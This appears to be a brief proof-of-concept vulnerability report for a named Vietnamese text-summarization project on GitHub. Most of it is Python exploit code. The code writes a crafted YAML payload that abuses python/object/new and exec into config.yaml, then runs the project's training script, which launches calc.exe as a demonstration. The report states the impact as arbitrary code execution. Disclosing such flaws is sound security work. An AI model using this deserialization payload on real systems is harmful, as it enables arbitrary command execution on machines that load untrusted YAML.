Proof of Concept

steps to reproduce:

import os

#os.system('https://github.com/ngockhanh5110/nlp-vietnamese-text-summarization')
os.chdir('nlp-vietnamese-text-summarization/')

payload = """cmd: !!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('calc.exe')"
"""

open('config.yaml','w+').write(payload)
os.system('python3 train.py')

• python3 exploit.py

Impact

Arbitary Code Execution
